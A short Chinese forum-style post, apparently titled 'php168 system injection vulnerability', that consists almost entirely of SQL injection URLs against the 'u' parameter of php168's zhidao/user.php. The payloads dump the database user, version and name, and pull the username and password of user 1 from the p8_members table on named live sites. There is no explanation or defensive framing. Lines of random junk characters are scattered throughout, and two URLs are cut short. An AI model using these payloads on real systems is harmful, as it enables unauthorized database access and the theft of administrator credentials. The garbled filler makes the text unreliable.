php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
                                       
! H0 w4 E2 |1 v4 j' s" ?
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
4 o8 g$ ]  K' S5 K- v- I                                                     
                                                                  
# P0 L8 d2 z7 L6 g4 [$ s1 M# I                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
! t9 e% D/ E  w, F# I


                                                            

2 `5 s1 w! z& j6 Khttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
! V/ J6 O0 K$ ?9 R


9 H0 J) M) [/ h2 n4 S$ H! F